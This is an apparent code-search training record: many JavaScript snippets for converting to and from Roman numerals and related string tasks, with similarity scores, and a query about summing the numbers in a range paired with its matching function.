remainder100%50;\ntens=Math.floor(remainder50/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder50%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder100>=40){\narr.push(\"XL\");\n\nremainder40= remainder100%40;\nif(remainder40>5){\nremainderForty5= remainder40%5;\nif(remainderForty5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderForty5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder40==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder40==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder40>0){\nfor (let i=0;i<remainder40;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder100>0){\n\ntens=Math.floor(remainder100/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder100%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse {\nreturn arr.join(\"\"); //remainderM is 0\n}\n}\n}", "function parseRoman(s) {\n var val = {M: 1000, D: 500, C: 100, L: 50, X: 10, V: 5, I: 1};\n return s.toUpperCase().split('').reduce(function(r, a, i, aa) {\n return val[a] < val[aa[i + 1]] ? r - val[a] : r + val[a];\n }, 0);\n}", "function convertToRoman(num) {\n let thousand, fiveHundred, fourHundred, hundred, fifty, forty, ten, five, four, one, len;\n if (num > 3999) {\n console.log(`Whoa! that's one BIG number - we ain't doing that!`);\n return;\n }\n const arr = num.toString().split('').map(Number);\n length = arr.length;\n\n thousand = length > 3 ? arr[length-4] : 0;\n hundred = length > 2 ? arr[length-3] : 0;\n ten = length > 1 ? arr[length-2] : 0;\n one = arr[length-1];\n\n function buildThousands(thousand) {\n let str = '';\n for (let i = 0; i < thousand; i++) {\n str += 'M';\n }\n return str;\n }\n\n function buildHundreds(hundred) {\n let str = '';\n if (hundred < 4) {\n for (let i = 0; i < hundred; i++) {\n str += 'C'; \n }\n return str;\n }\n if (hundred === 4) {\n str = 'CD';\n return str;\n }\n if (hundred === 5) {\n str = 'D';\n return str;\n }\n if (hundred > 5 && hundred < 9) {\n str = 'D';\n for (let i = 0; i < hundred-5; i++) {\n str += 'C'; \n }\n return str;\n }\n if (hundred === 9) {\n str = 'CM';\n return str;\n }\n }\n\n function buildTens(ten) {\n let str = '';\n if (ten < 4) {\n for (let i = 0; i < ten; i++) {\n str += 'X'; \n }\n return str;\n }\n if (ten === 4) {\n str = 'XL';\n return str;\n }\n if (ten === 5) {\n str = 'L';\n return str;\n }\n if (ten > 5 && ten < 9) {\n str = 'L';\n for (let i = 0; i < ten-5; i++) {\n str += 'X'; \n }\n return str;\n }\n if (ten === 9) {\n str = 'XC';\n return str;\n }\n }\n\n function buildOnes(one) {\n let str = '';\n if (one < 4) {\n for (let i = 0; i < one; i++) {\n str += 'I'; \n }\n return str;\n }\n if (one === 4) {\n str = 'IV';\n return str;\n }\n if (one === 5) {\n str = 'V';\n return str;\n }\n if (one > 5 && one < 9) {\n str = 'V';\n for (let i = 0; i < one-5; i++) {\n str += 'I'; \n }\n return str;\n }\n if (one === 9) {\n str = 'IX';\n return str;\n }\n }\n\n return buildThousands(thousand) + buildHundreds(hundred) + buildTens(ten) + buildOnes(one);\n}", "function romanToInteger(str){\n if (str.length < 0){\n return -1;\n }\n var len = str.length;\n var result = charToInt(str[0]);\n var pre, cur, i;\n for (i=1; i<len; i++){\n cur = charToInt(str[i]);\n pre = charToInt(str[i-1]);\n if (pre >= cur){\n result += cur;\n }else {\n result += cur - pre * 2;\n }\n }\n return result;\n}", "function convertToRoman(num){\n\n var changing_num = num;\n var roman_num = '';\n var divider_idx = 0;\n var divide_result;\n var roman_key = [\n [1000, \"M\"], \n [500, \"D\"], \n [100, \"C\"], \n [50, \"L\"], \n [10, \"X\"], \n [5, \"V\"], \n [1, \"I\"], \n ]\n\n divide_result = changing_num / roman_key[divider_idx][0];\n \n while( changing_num > 5) {\n divide_result = changing_num / roman_key[divider_idx][0];\n if (divide_result >= 1){\n changing_num /= roman_key[divider_idx][0] \n roman_num += roman_key[divider_idx][1]\n }else{\n divider_idx++;\n }\n console.log(changing_num);\n }\n\n return roman_num;\n}", "function roman(int){\n arr = []\n i = 0\n while(int>=500){\n int = int - 500\n arr[i] = 'D'\n i++\n }\n while( int>= 100){\n int = int - 100\n arr[i] = 'C'\n i++\n }\n while( int>= 50){\n int = int-50\n arr[i] = 'L'\n i++\n }\n while(int>= 10){\n int = int-10\n arr[i] = 'X'\n i++\n }\n while(int>=5){\n int = int -5\n arr[i] = 'V'\n i++\n }\n while(int>0){\n int = int - 1\n arr[i] = 'I'\n i++\n }\n console.log(arr.join(''))\n}", "function romanToArabic(roman) {\n const numeralValues = {\n I: 1,\n V: 5,\n X: 10,\n L: 50,\n C: 100,\n D: 500,\n M: 1000,\n };\n\n let romanArray = roman.split('').map((i) => numeralValues[i]);\n console.log({ romanArray });\n\n let result = 0;\n // let i = 0;\n const range = romanArray.length;\n console.log({ range });\n\n for (let i = 0; i < range; ) {\n if (i === 0) {\n result += romanArray[i];\n i++;\n } else if (\n romanArray[i] <= romanArray[i - 1] &&\n romanArray[i] >= romanArray[i + 1]\n ) {\n result += romanArray[i];\n i++;\n } else if (romanArray[i] < romanArray[i + 1]) {\n result += romanArray[i + 1] - romanArray[i];\n i += 2;\n }\n console.log({ i });\n }\n console.log({ result });\n\n // console.log(romanArray[i-1]);\n\n return result;\n}", "function roman_to_Int(rom) {\n if(rom == null) return -1;\n // Starts the calculation of the number at first roman numeral listed (ei if number is MCD, num = 1000)\n var num = char_to_int(rom.charAt(0));\n // Sets variables for previous and current number calculated in loop\n var pre, curr;\n // Starts the loop at the second roman rumeral listed \n for(var i = 1; i < rom.length; i++){\n curr = char_to_int(rom.charAt(i));\n pre = char_to_int(rom.charAt(i-1));\n // if the current number is less than/equal to previous number \n if(curr <= pre){\n // add the current number to num\n num += curr;\n } else {\n // for example IV would calculate as 4 = (1-(1*2))+5\n num = num - pre*2 + curr;\n }\n } \n return num;\n }", "function romanGeneral(numberArray) {\n\n // integer to roman numeral mapping\n const numeralMapping = {\n '1': 'I', '2': 'II', '3': 'III', '4': 'IV', '5': 'V',\n '6': 'VI', '7': 'VII', '8': 'VIII', '9': 'IX',\n '10': 'X', '20': 'XX', '30': 'XXX', '40': 'XL', '50': 'L',\n '60': 'LX', '70': 'LXX', '80': 'LXXX', '90': 'XC',\n '100': 'C', '200': 'CC', '3000': 'CCC', '400': 'CD', '500': 'D',\n '600': 'DC', '700': 'DCC', '800': 'DCCC', '900': 'CM',\n '1000': 'M', '2000': 'MM', '3000': 'MMM'\n }\n\n // initialize roman numeral array\n const romanArray = [];\n\n // match integers with roman numerals\n for (let int of numberArray) {\n for (let [num, roman] of Object.entries(numeralMapping)) {\n if (num === int) {\n romanArray.push(roman);\n }\n }\n }\n\n // return roman numeral as string\n return romanArray.join('');\n}", "static get romanNumeral() {\n return /^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/;\n }", "function romanToInt(s) {\r\n var result = 0;\r\n if (s === '') {\r\n return result;\r\n }\r\n var romans = new Map();\r\n romans.set('I', 1);\r\n romans.set('V', 5);\r\n romans.set('X', 10);\r\n romans.set('L', 50);\r\n romans.set('C', 100);\r\n romans.set('D', 500);\r\n romans.set('M', 1000);\r\n console.log(romans.values());\r\n for (var i_1 = 0; i_1 < s.length; i_1++) {\r\n if (romans.get(s.charAt(i_1)) < romans.get(s.charAt(i_1 + 1))) {\r\n result -= romans.get(s.charAt(i_1));\r\n }\r\n else {\r\n result += romans.get(s.charAt(i_1));\r\n }\r\n }\r\n return result;\r\n}", "function convertsmallnum(num) {\n var romanNumber = \"\";\n var romanNumeral = {\n 0: '',\n 1: 'I',\n 5: 'V',\n 9: 'IX',\n 10: 'X',\n 50: 'L',\n 90: 'XC',\n 100: 'C',\n 500: 'D',\n 900: 'CM',\n 1000: 'M'\n };\n // if number is already in the lookup table return property value without any processing\n if (romanNumeral[num] != undefined)\n return romanNumeral[num];\n // need to do hard work here :)\n if (num >= 1000) {\n t = num / 1000;\n var tmp = \"\";\n for (i = 0; i < t; i++) {\n tmp = tmp + romanNumeral[1000];\n }\n return tmp;\n }\n if (num > 500) {\n t = num / 500;\n var tmp = \"\";\n return romanNumeral[num]\n }\n}", "function formatRoman(value, pattern) {\n var i,\n s = '',\n v = Number(String(value).slice(-3)),\n nThousands = (value - v) / 1000,\n decimal = [0, 1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900].reverse(),\n numeral = ['0', 'I', 'IV', 'V', 'IX', 'X', 'XL', 'L', 'XC', 'C', 'CD', 'D', 'CM'].reverse();\n\n while (v > 0) {\n for (i = 0; i < decimal.length; i++) {\n if (decimal[i] <= v) {\n s += numeral[i];\n v -= decimal[i];\n break;\n }\n }\n }\n\n for (i = 0; i < nThousands; i++) {\n s = \"M\".concat(s);\n }\n\n if (pattern[1] !== pattern[1].toUpperCase()) {\n s = s.toLowerCase();\n }\n\n return s;\n}", "function romanToInt(str) {\n\tvar result = {\n\t\t'M':0,\n\t\t'D':0,\n\t\t'C':0,\n\t\t'L':0,\n\t\t'X':0,\n\t\t'V':0,\n\t\t'I':0,\n\t}\n\n\tvar romannumkey = {\n\t\t'M':1000,\n\t\t'D':500,\n\t\t'C':100,\n\t\t'L':50,\n\t\t'X':10,\n\t\t'V':5,\n\t\t'I':1,\n\t}\n\n\tvar rkey = ['M', 'D', 'C', 'L', 'X', 'V', 'I']\n\n\tstr1 = 'LIV'; //54 - IF I is NOT directly before another I, it's subtracted instead of added.\n\tstr2 = 'IX';\n\tstr3 = 'VII';\n\tstr4 = 'XLIX'; //If value of index i is less than index i+1, subtract instead of add.\n\t\n\tvar intresult = 0;\n\tfor (var i = 0; i < str.length; i++) {\n\t\tif (romannumkey[str[i]] < romannumkey[str[i+1]]) {\n\t\t\tintresult -= romannumkey[str[i]];\n\t\t} else {\n\t\t\tintresult += romannumkey[str[i]];\n\t\t}\n\t}\n\treturn intresult;\n}", "function convert(numArray) {\n if (inputL === 4) {\n out.push(roman1000s[numArray[0]]);\n out.push(roman100s[numArray[1]]);\n out.push(roman10s[numArray[2]]);\n out.push(roman1s[numArray[3]]);\n } else if (inputL === 3) {\n out.push(roman100s[numArray[0]]);\n out.push(roman10s[numArray[1]]);\n out.push(roman1s[numArray[2]]);\n } else if (inputL === 2) {\n out.push(roman10s[numArray[0]]);\n out.push(roman1s[numArray[1]]);\n } else if (inputL === 1) {\n out.push(roman1s[numArray[0]]);\n } else {\n // prepare an error message for invalid entries or inputs beyond the scope of this exercise\n error = \"number is either not a valid number, or is too large for this edition of 'SUPERAWESOMEONLINEROMANNUMERALCONVERTERMACHINE'\";\n }\n // join array of roman nums into a single string and assign it to out variable\n out = out.join(\"\");\n // determine if output should be a roman numeral, or an error\n if (typeof input !== 'number') {\n output = error;\n } else {\n output = out;\n }\n }", "function solution(roman){\n var sum = 0;\n var chars = roman.split('');\n var nums = [];\n\n\n var translate = function(letter) {\n switch(letter) {\n case \"M\":\n nums.push(1000);\n break;\n case 'D':\n nums.push(500);\n break;\n case 'C':\n nums.push(100);\n break;\n case 'L':\n nums.push(50);\n break;\n case 'X':\n nums.push(10);\n break;\n case 'V':\n nums.push(5);\n break;\n case 'I':\n nums.push(1);\n }\n };\n\n //convert each character to a number, push to numbers array\n for (var i=0; i<chars.length; i++) {\n translate(chars[i]);\n }\n\n //within numbers array, sum them up roman-numerals style\n for (var i=0; i<nums.length; i++) {\n if (nums[i] >= nums[i+1] || nums[i+1] == undefined) {\n sum += nums[i];\n }\n else {\n sum += nums[i+1] - nums[i];\n i++;\n }\n }\n\n return sum;\n}", "function arabicToRomanNumeral(number) {\n return new Promise( (resolve, reject) => {\n const url = `${environment.serverUrl}/api/v1/numeral?numeral=${number}`\n\n fetch(url, {method: 'GET'})\n .then(res => resolve(res.json()))\n .catch(err => reject(err))\n });\n}", "function isRoman(s) {\n // http://stackoverflow.com/a/267405/1447675\n return /^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/i.test(s);\n}", "function toCheckRoman(value) {\r\n var romanNumeral = '';\r\n if (value <= 0) {\r\n document.getElementById(\"errorMessage\").innerHTML = \"Please enter the value as greater than zero\";\r\n } else if (value > 3000) {\r\n document.getElementById(\"errorMessage\").innerHTML = \"Please enter the value less than 3000\";\r\n } else {\r\n var romanNumeral = getRoman(value);\r\n }\r\n return romanNumeral;\r\n }", "function romanThousands(num, romanArr) {\n\tfor (var i= 0; i<num; i++) {\n romanArr.push(\"M\");\n }\n return romanArr;\n}", "function convertToRoman(num) {\n/*Key: \nM - 1000\nD - 500\nC - 100\nL - 50\nX - 10\nV - 5\nI - 1*/\n let objKey = {\n 1000 : \"M\",\n 900 : \"CM\",\n 500 : \"D\",\n 400 : \"CD\",\n 100 : \"C\",\n 90 : \"XC\",\n 50 : \"L\",\n 40 : \"XL\",\n 10 : \"X\",\n 9 : \"IX\",\n 5 : \"V\",\n 4 : \"IV\",\n 1 : \"I\" \n }; \n let romArr = [];\n for(let i = 12; i >= 0; i--) {\n if(Math.floor(num/Object.keys(objKey)[i]) >= 1){\n romArr.push(Object.values(objKey)[i]);\n num -= Object.keys(objKey)[i];\n i++;\n }\n }\n romArr = romArr.join(\"\");\n console.log(romArr);\n}", "function arabicToRoman(number1){\n\n const x = number1.split('');\n \n if (x.length==1){\n x.unshift[0,0,0]\n }else if (x.length==2){\n x.unshift[0,0] \n }else if (x.length==3){\n x.unshift[0] }\n\n\n if ( x[3]==1){\n x[3]= I;\n } else if (x[3]==2){\n x[3]= II;\n } else if ( x[3]==3){\n x[3]= III;\n } else if ( x[3]==4){\n x[3]=IV;\n } else if ( x[3]==5){\n x[3]= V;\n } else if ( x[3]==6){\n x[3]= VI;\n }else if ( x[0]==7){\n x[3]= VII;\n }else if ( x[0]==8){\n x[3]= VIII;\n }else if ( x[0]==9){\n x[3]= IX;\n }\n\n if ( x[2]==1){\n x[2]= X;\n } else if (x[2]==2){\n x[3]= XX;\n } else if ( x[2]==3){\n x[2]= XXX;\n } else if ( x[2]==4){\n x[2]= XL;\n } else if ( x[3]==5){\n x[2]= L;\n } else if ( x[3]==6){\n x[2]= LX;\n }else if ( x[0]==7){\n x[2]= LXX;\n }else if ( x[0]==8){\n x[2]= LXXX;\n }else if ( x[0]==9){\n x[2]= XC;\n }\n \n \n \n \n\nconsole.log(x); \nreturn x;\n}", "function roman_to_Int(str1) {\n if(str1 == null) return -1;\n\n let num = char_to_int(str1.charAt(0));\n let pre, curr;\n\n for(var i = 1; i < str1.length; i++){\n curr = char_to_int(str1.charAt(i));\n pre = char_to_int(str1.charAt(i-1));\n if(curr <= pre){\n num += curr;\n } else {\n num = num - pre*2 + curr;\n }\n }\n\n return num;\n }", "function convertRomans (numEntered) {\n var vNum = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n var rNum = ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I'];\n var result = \"\";\n for(i = 0; i < vNum.length; i++) {\n value = parseInt(numEntered/vNum[i]);\n for(j = 0; j < value; j++) {\n result += rNum[i];\n }\n numEntered = numEntered%vNum[i];\n }\n inputElement.value = ''\n inputElement.focus()\n return result;\n}", "function insertRoman(num, rn){\r\n var roman = \"\";\r\n for(let i = 0; i < num; i++){\r\n roman = roman.concat(rn);\r\n }\r\n return roman;\r\n}//insertRoman", "function BasicRomanNumerals(str) {\n let roman = { I: 1, V: 5, X: 10, L: 50, C: 100, D: 500, M: 1000 };\n let result = 0;\n for (let i = 0; i < str.length; i++) {\n if (roman[str[i]] < roman[str[i + 1]]) {\n result += roman[str[i + 1]] - roman[str[i]];\n i++;\n } else {\n result += roman[str[i]];\n }\n console.log(\"result ::\", result);\n }\n return result;\n}", "function i2a (num) {\n // if (num === 0) return \"0\"\n let lookup = new Map()\n lookup.set(0, '0')\n lookup.set(1, '1')\n lookup.set(2, '2')\n lookup.set(3, '3')\n lookup.set(4, '4')\n lookup.set(5, '5')\n lookup.set(6, '6')\n lookup.set(7, '7')\n lookup.set(8, '8')\n lookup.set(9, '9')\n\n //handle negative cases\n let flag = true\n if (num < 0) {\n flag = false\n num *= -1\n }\n\n let reverseStr = \"\"\n while (num > 0) {\n let remainder = num % 10\n reverseStr += lookup.get(remainder)\n num = Math.floor(num/10)\n }\n\n let resultStr = \"\"\n for (let i=reverseStr.length-1; i>= 0; i--) {\n resultStr += reverseStr[i]\n }\n\n return flag ? resultStr : `-${resultStr}`\n\n}", "function romanNumerals() {\n for (let i = 0;)\n}", "function romanEncrypt(str) {\n let result = [];\n str = str.split('');\n let p1 = str.slice(0, str.length / 2);\n let p2 = str.slice(str.length / 2, str.length);\n p1.forEach((l1, i) => {\n // f => agrega la últma letra si el array no es divisible entre dos...\n let f = (i === p2.length - 2 && p1.length < p2.length) ? p2[p2.length - 1] : '';\n result.push(`${l1}${p2[i]}${f}`);\n });\n return result.join('');\n}", "function convert(num) { \n if(num < 1){ return \"\";}\n if(num >= 1000){ return \"M\" + convert(num - 1000);}\n if(num >= 900){ return \"CM\" + convert(num - 900);}\n if(num >= 500){ return \"D\" + convert(num - 500);}\n if(num >= 400){ return \"CD\" + convert(num - 400);} \n if(num >= 100){ return \"C\" + convert(num - 100);}\n if(num >= 90){ return \"XC\" + convert(num - 90);}\n if(num >= 50){ return \"L\" + convert(num - 50);}\n if(num >= 40){ return \"XL\" + convert(num - 40);}\n if(num >= 10){ return \"X\" + convert(num - 10);}\n if(num >= 9){ return \"IX\" + convert(num - 9);}\n if(num >= 5){ return \"V\" + convert(num - 5);}\n if(num >= 4){ return \"IV\" + convert(num - 4);}\n if(num >= 1){ return \"I\" + convert(num - 1);} \n }", "function romanDecrypt(str) {\n let p1 = [];\n let p2 = [];\n let result = [];\n str = str.split('');\n str.forEach((l, i) => {\n (i % 2 === 0) ? (i !== str.length - 1) ? p1.push(l) : p2.push(l) : p2.push(l);\n });\n return result.concat(p1, p2).join('');\n}", "function toRomanNumerals(tonic, chords) {\n return chords.map(chord => {\n const [note, chordType] = (0, _chord.tokenize)(chord);\n const intervalName = (0, _core.distance)(tonic, note);\n const roman = (0, _romanNumeral.get)((0, _core.interval)(intervalName));\n return roman.name + chordType;\n });\n}", "function testConvertRomanNumerals(){\n var testCases = {\n 'VII': 7,\n 'vii': 7,\n 'I': 1,\n 'i': 1,\n 'IV': 4,\n 'Iv': 4,\n 'iV': 4,\n 'IX': 9,\n 'XCIV': 94,\n 'xciv': 94\n }\n\n var NanCases = {\n 'ggg': true\n }\n\n for(numeral in testCases) {\n var actual = convertRomanNumeral(numeral);\n if(actual !== testCases[numeral]) {\n console.log(`Failed on ${numeral}, expected ${testCases[numeral]} but got ${actual}`);\n return false;\n }\n }\n\n for(numeral in NanCases) {\n var actual = convertRomanNumeral(numeral);\n if (!isNaN(actual)) return false;\n }\n\n console.log(\"all tests pass\");\n return true;\n }", "function solution(roman){\n let numerals = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000,};\n let count = numerals[roman[roman.length-1]];\n \n for (let i = roman.length - 2; i >= 0; i--) {\n (numerals[roman[i]] >= numerals[roman[i+1]]) ?\n count += numerals[roman[i]] :\n count -= numerals[roman[i]]\n }\n return count;\n}", "function showRoman(roman) {\n $('.POJ').hide();\n $('.TRS').hide();\n $('.DT').hide();\n switch(roman) {\n case 't':\n $('.TRS').css('display', 'inline');\n break;\n case 'd':\n $('.DT').css('display', 'inline');\n break;\n default:\n $('.POJ').css('display', 'inline');\n }\n }", "function convertDigit(digit, col) {\n\t\t// resulting string value we return as a roman numeral\n\t\t// (we concatenate where necessary, via Roman rules)\n\t\tlet value;\n\t\t\n\t\t// look up column by using index of this objects relevant elements\n\t\tlet romans = {\n\t\t\tunits:['I','X','C','M'],\n\t\t\tfives: ['V', 'L', 'D', '']\n\t\t};\n\t\t\n\t\tswitch (parseInt(digit)) {\n\t\t\tcase 1:\n\t\t\tcase 2:\n\t\t\tcase 3:\n\t\t\t\t// TODO: romans.units >>>\n\t\t\t\t//value = string concat.\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 4:\n\t\t\tcase 5:\n\t\t\tcase 6:\n\t\t\tcase 7:\n\t\t\tcase 8:\n\t\t\t\t// TODO: romans.fives >>>\n\t\t\t\t//value = string concat.\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 9:\n\t\t\t\t// TODO: romans.units >>>\n\t\t\t\t//value = string concat.\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tdefault:\n\t\t\t\tvalue = 'default';\n\t\t\t\t\n\t\t}\n\t\treturn value;\n\t}", "function convert() {\n var num = $('.texty').val();\n var ara = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 6, 5, 4, 1]; //Arabic numbers\n var rom = ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'VI', 'V', 'IV', 'I']; //Roman numerals\n var final = '';\n for (var i = 0; i < rom.length; i++) {\n while (num >= ara[i]) {\n final += rom[i];\n num -= ara[i];\n }\n }\n $('.texty').val(final);\n }", "function convert(num) {\n var newArr = [];\n var ans = \"\";\n var newNum = num;\n while (newNum > 0) {\n if (newNum >= 50) {\n newArr.push(\"L\");\n newNum -= 50;\n } else if (newNum >= 40 && newNum < 50) {\n newArr.push(\"XL\");\n newNum -= 40;\n } else if (newNum >= 10 && newNum < 40) {\n newArr.push(\"X\");\n newNum -= 10;\n } else if (newNum == 9) {\n newArr.push(\"IX\");\n newNum -= 9;\n } else if (newNum > 4 && newNum < 10) {\n newArr.push(\"V\");\n newNum -= 5;\n } else if (newNum == 4) {\n newArr.push(\"IV\");\n newNum -= 4;\n } else if (newNum > 0 && newNum < 4) {\n newArr.push(\"I\");\n newNum--;\n }\n\n\n ans = newArr.join(\"\");\n }\n return ans;\n}", "function numberToChoice(number) {\n return [\"rock\", \"paper\", \"scissor\"][number];\n}", "function correctValueNumber(number){\n number = parseInt(number);\n if(number<10){\n var newNumber = number+1;\n return newNumber;\n }if(number==10){\n var newNumber = 'J';\n return newNumber;\n }if(number==11){\n var newNumber = 'Q';\n return newNumber;\n }if(number==12){\n var newNumber = 'K';\n return newNumber;\n }if(number==13){\n var newNumber = 'A';\n return newNumber;\n }\n}", "function convert() {\r\n var dec = document.getElementById('decimalVal');\r\n if (dec.value.length == 0) {\r\n document.getElementById(\"errorMessage\").innerHTML = \"Empty not allowed\";\r\n } else if (isNaN(dec.value) === true) {\r\n document.getElementById(\"errorMessage\").innerHTML = \"This value is not a number\";\r\n } else if (dec.value.length > 0) {\r\n document.getElementById(\"errorMessage\").innerHTML = \"\";\r\n document.getElementById('romanVal').value = toCheckRoman(dec.value);\r\n }\r\n }", "function nombreEnMayuscula(n){\n n = n.toUpperCase()\n console.log(n)\n}", "function number_to_name(number) {\n\n switch (number) {\n case 0:\n return \"rock\";\n break;\n case 1:\n return \"Spock\";\n break;\n case 2:\n return \"paper\";\n break;\n case 3:\n return \"lizard\";\n break;\n case 4:\n return \"scissors\";\n break;\n default:\n console.log(\"I'm sorry, there seems to be some sort of error.\");\n }\n}", "function mM(str) {\nvar array = str.split(\"\");\n\nvar ar = array.map( function(item,index) {\n if (index % 2== 0) {\n return item.toUpperCase();\n }\n\n else {\n return item;\n }\n}\n);\n\nreturn ar.join(\"\");\n}", "function intToChoice(number) {\n return ['rock', 'paper', 'scissor'][number];\n}", "function numberToEnglish (number) {\n\tvar result;\n\tvar number = number.valueOf();\n\tif(numbersToWords[number]){\n\t\tresult = numbersToWords[number];\n\t}\n\telse if(number < 100){\n\t\tvar numberPlace = Math.floor(number/10);\n\t\tvar numberLeft = number % 10;\n\t\tresult = numbersToWords[numberPlace * 10] + \"-\" + numberToEnglish(numberLeft);\n\t}\n\telse {\n\t\tif(number < 1000) {\n\t\t\tvar place = 100;\n\t\t}\n\t\telse {\n\t\t\tplace = 1000;\n\t\t\twhile (place * 1000 <= number) {\n\t\t\t\tplace *= 1000\n\t\t\t}\n\t\t}\n\t\tnumberPlace = Math.floor(number/place);\n\t\tnumberLeft = number % place;\n\t\tresult = numberToEnglish(numberPlace) + \" \" + numbersToPlace[place];\n\t\tvar remainder = numberToEnglish(numberLeft);\n\t\tif(remainder !== 'zero'){\n\t\t\tresult += \" \" + remainder;\n\t\t}\n\t}\n\treturn result;\n}", "function octalToDec(number) {\n function inner() {\n return parseInt(number);\n }\n return inner();\n}", "function convMaiusc(z){\r\n\tv = z.value.toUpperCase();\r\n\tz.value = v;\r\n}", "function fromRomanNumerals(tonic, chords) {\n const romanNumerals = chords.map(_romanNumeral.get);\n return romanNumerals.map(rn => (0, _core.transpose)(tonic, (0, _core.interval)(rn)) + rn.chordType);\n}", "function SwapII(str) { \n str = str.replace(/(\\d)([A-Za-z]+)(\\d)/, \"$3$2$1\");\n var parts = str.split('');\n var results = '';\n for (var i = 0; i < parts.length; i++){\n if (parts[i] == parts[i].toLowerCase()){\n results += parts[i].toUpperCase();\n } else if (parts[i] == parts[i].toUpperCase()){\n results += parts[i].toLowerCase();\n } else {\n results += parts[i];\n }\n }\n return results;\n}", "function main() {\n if (process.argv.length != expectedNumberOfArguments) {\n throw new Error(\"Unexpected number of input arguments. Expected \" + expectedNumberOfArguments + \" actual \" + process.argv.length)\n }\n \n let romanNumeralWritten = process.argv[2]\n let integerValue = convertRomanNumerals(romanNumeralWritten)\n}", "function ToNumber(a) {\r\n\r\n var b;\r\n\r\n\r\n if (a === \"I\") {\r\n b = 1;\r\n\r\n } else if (a === \"V\") {\r\n b = 5;\r\n\r\n } else if (a === \"X\") {\r\n b = 10;\r\n\r\n } else if (a === \"L\") {\r\n b = 50;\r\n\r\n } else if (a === \"C\") {\r\n b = 100;\r\n\r\n } else if (a === \"D\") {\r\n b = 500;\r\n\r\n } else if (a === \"M\") {\r\n b = 1000;\r\n\r\n }\r\n return b;\r\n\r\n\r\n}" ]
[ "0.840456", "0.82914466", "0.8230967", "0.8105388", "0.80534923", "0.80132776", "0.80105865", "0.7995792", "0.7828442", "0.7803572", "0.77667075", "0.77463895", "0.7697212", "0.7637079", "0.7626396", "0.76065356", "0.75857604", "0.75767374", "0.7568306", "0.7546647", "0.751751", "0.7514174", "0.7461079", "0.743686", "0.741958", "0.7403573", "0.7391728", "0.73625535", "0.7353713", "0.73449415", "0.7342769", "0.7193408", "0.7105617", "0.70942575", "0.7094057", "0.7072202", "0.7071625", "0.70541346", "0.7024282", "0.6992213", "0.69620836", "0.69337666", "0.6926403", "0.6872888", "0.68564814", "0.6843278", "0.6786135", "0.67652357", "0.6724167", "0.66592824", "0.6629056", "0.66028607", "0.6577998", "0.6532811", "0.64637476", "0.6442662", "0.64313257", "0.6427473", "0.641788", "0.6352946", "0.63512105", "0.63352096", "0.62894547", "0.6235965", "0.621116", "0.6138629", "0.6109867", "0.6073694", "0.60307866", "0.60281956", "0.5997839", "0.5922369", "0.58771896", "0.58597565", "0.58583146", "0.56400645", "0.563896", "0.56378126", "0.5569433", "0.5500504", "0.54956096", "0.5471068", "0.5445432", "0.53683007", "0.53584194", "0.5349649", "0.52025384", "0.51718056", "0.5169631", "0.5163753", "0.50808096", "0.50681883", "0.50646967", "0.5003363", "0.49558818", "0.49205858", "0.49163547", "0.48974362", "0.48968965", "0.48908854" ]
0.6470576
54
Sum All Numbers in a Range We'll pass you an array of two numbers. Return the sum of those two numbers and all numbers between them. The lowest number will not always come first.
function sumAll(arr) { var total = 0; if (arguments[0][0] < arguments[0][1]) { for (var i = arguments[0][0]; i <= arguments[0][1]; i++) { total += i; } } else { for (var x = arguments[0][1]; x <= arguments[0][0]; x++) { total += x; } } return total; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
